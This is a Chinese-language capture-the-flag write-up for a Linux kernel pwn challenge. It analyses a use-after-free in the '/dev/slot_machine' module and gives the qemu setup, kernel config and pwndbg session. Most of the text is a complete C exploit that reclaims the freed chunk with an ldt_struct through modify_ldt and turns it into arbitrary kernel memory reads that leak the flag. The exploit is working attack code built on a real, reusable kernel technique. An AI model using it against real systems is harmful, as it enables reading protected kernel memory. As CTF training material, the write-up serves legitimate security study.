分析
模块初始化时将flag读入数据段中并删除文件系统中flag 提供菜单功能:
- 0:指定大小申请堆,标志GFP_KERNEL,可用两次
- 1:delete 存在UAF
- 2:edit 指定偏移、长度、缓冲区,无溢出
- 1337:show 指定偏移、长度、缓冲区,无溢出
启动脚本,开启fgkaslr增加随机化程度
qemu-system-x86_64 \ -kernel ./bzImage \ -cpu max \ -initrd ./initramfs.cpio.gz \ -nographic \ -monitor none,server,nowait,nodelay,reconnect=-1 \ -serial stdio \ -display none \ -m 256M \ -no-reboot \ -nographic \ -append "console=ttyS0 kpti fgkaslr quiet" \
config文件如下,使用SLUB
CONFIG_SLUB=y CONFIG_SLAB_MERGE_DEFAULT=n CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y CONFIG_RANDOM_KMALLOC_CACHES=n
发现内核模块加载地址有概率不变,其中my_ioctl函数地址有概率固定为0xffffffffc0400029
发现规律:可通过获取指令中相对rip的偏移,计算得到此处全局变量chunk的地址,而flag位于全局变量flag_data中,二者偏移固定,从而可以通过这种方式计算得到flag地址
利用ldt_struct结构体(slub中0x10),两次任意地址读泄露flag
pwndbg> x/2i 0xffffffffc0400029 0xffffffffc0400029: mov rdi,QWORD PTR [rip+0xffffffffffee8940] # 0xffffffffc02e8970 0xffffffffc0400030: test rdi,rdi pwndbg> x/7bx 0xffffffffc0400029 0xffffffffc0400029: 0x48 0x8b 0x3d 0x40 0x89 0xee 0xff pwndbg> x/4bx 0xffffffffc0400029+4 0xffffffffc040002d: 0x89 0xee 0xff 0x48 pwndbg> x/4bx 0xffffffffc0400029+3 0xffffffffc040002c: 0x40 0x89 0xee 0xff pwndbg> p/x 0xffffffffc0400030+0xffffffffffee8940 $1 = 0xffffffffc02e8970 pwndbg> x/s 0xffffffffc02e8970-0x410 0xffffffffc02e8560: "CTF{fakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflagfakeflag"
exp
#define _GNU_SOURCE #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <sys/syscall.h> #include <sched.h> #include <sys/mman.h> #include <sys/socket.h> #include <string.h> #include <stdlib.h> #include <sys/ioctl.h> #define COLOR_GREEN "\033[32m" #define COLOR_RED "\033[31m" #define COLOR_YELLOW "\033[33m" #define COLOR_DEFAULT "\033[0m" #define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__) #define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__) #define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__) #define die(fmt, ...) \ do \ { \ loge(fmt, ##__VA_ARGS__); \ loge("Exit at line %d", __LINE__); \ exit(1); \ } while (0) #define ADD_CMD 0x0 #define DELETE_CMD 0x1 #define EDIT_CMD 0x3 #define SHOW_CMD 0x1337 void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); logi("Process binded to core %d", core); } int fd = 0; u_int64_t heap_addr = 0, kbase_addr = 0; typedef struct { size_t offset; size_t length; char *ptr; }menu_arg; void add(size_t size) { ioctl(fd, ADD_CMD, &size); } void delete() { ioctl(fd, DELETE_CMD, 0); } void edit(size_t offset, size_t len, char *content) { menu_arg tmp = { .offset = offset, .length = len, .ptr = content }; ioctl(fd, EDIT_CMD, &tmp); } void show(size_t offset, size_t len, char *content) { menu_arg tmp = { .offset = offset, .length = len, .ptr = content }; ioctl(fd, SHOW_CMD, &tmp); } struct user_desc { unsigned int entry_number; unsigned int base_addr; unsigned int limit; unsigned int seg_32bit:1; unsigned int contents:2; unsigned int read_exec_only:1; unsigned int limit_in_pages:1; unsigned int seg_not_present:1; unsigned int useable:1; #ifdef __x86_64__ /* * Because this bit is not present in 32-bit user code, user * programs can pass uninitialized values here. Therefore, in * any context in which a user_desc comes from a 32-bit program, * the kernel must act as though lm == 0, regardless of the * actual value. */ unsigned int lm:1; #endif }; void main() { unsigned int tmpbuf[0x100]; struct user_desc desc; bind_core(0); fd = open("/dev/slot_machine", O_RDONLY); if (fd < 0) { die("opne /dev/slot_machine error"); } add(0x10); delete(); /* init descriptor info */ desc.base_addr = 0xff0000; desc.entry_number = 0x8000 / 8; // LDT_ENTRY_SIZE * LDT_ENTRIES desc.limit = 0; desc.seg_32bit = 0; desc.contents = 0; desc.limit_in_pages = 0; desc.lm = 0; desc.read_exec_only = 0; desc.seg_not_present = 0; desc.useable = 0; syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); size_t target_addr = 0xffffffffc040002c; edit(0, 0x8, &target_addr); memset(tmpbuf, 0, sizeof(tmpbuf)); syscall(SYS_modify_ldt, 0, &tmpbuf, 4); logi("0x%x", tmpbuf[0]); size_t offset = tmpbuf[0]+0xffffffff00000000; size_t flag_addr = 0xffffffffc0400030+offset-0x410; logi("offset = 0x%llx", offset); logi("flag_addr = 0x%llx", flag_addr); edit(0, 0x8, &flag_addr); memset(tmpbuf, 0, sizeof(tmpbuf)); syscall(SYS_modify_ldt, 0, &tmpbuf, 0x100); logi("%s", (char*)tmpbuf); } // TFCCTF{very_long_very_caca_flag_so_that_you_have_to_run_exploit_more_than_0ne_time}